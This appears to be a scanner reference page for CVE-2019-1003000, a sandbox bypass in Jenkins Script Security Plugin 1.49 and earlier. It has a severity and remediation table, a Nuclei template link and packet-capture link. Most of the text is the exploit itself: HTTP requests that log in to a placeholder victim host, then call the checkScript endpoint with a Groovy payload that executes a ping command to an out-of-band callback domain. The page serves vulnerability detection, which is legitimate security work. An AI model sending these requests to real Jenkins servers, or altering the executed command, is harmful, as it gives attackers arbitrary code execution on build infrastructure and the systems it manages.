| Title | Jenkins Script Security Plugin <=1.49 - Sandbox Bypass |
|---|---|
| Author | sttlr |
| Severity | High |
| Impact | Attackers with permission to submit sandboxed scripts can bypass sandbox protections and execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment and all managed systems. |
| Remediation | Upgrade to Jenkins Script Security Plugin version 1.50 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94441 |
| CVE ID | CVE-2019-1003000 |
| Tags | cve cve2019 jenkins oast bypass sandbox-bypass authenticated vkev vuln |
A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.
GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /j_acegi_security_check HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15
Connection: close
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
j_username=osKHkJ&j_password=OtHKCu&from=%2F&Submit=Sign+in
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Accept-Encoding: gzip
GET /securityRealm/user/oskhkj/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20EMYIKPpA{public%20EMYIKPpA()\{\%22ping%20-c%202%20d5jp5ghle0o32t4jdmigucb5p61brze79.oast.live%22.execute()}} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close
Accept-Encoding: gzip
GET /securityRealm/user/oskhkj/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20EMYIKPpA{public%20EMYIKPpA()\{\%22ping%20-n%202%20d5jp5ghle0o32t4jdmigm54bx1k3b8o9y.oast.live%22.execute()}} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-1003000.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-1003000.pcap
N/AN/A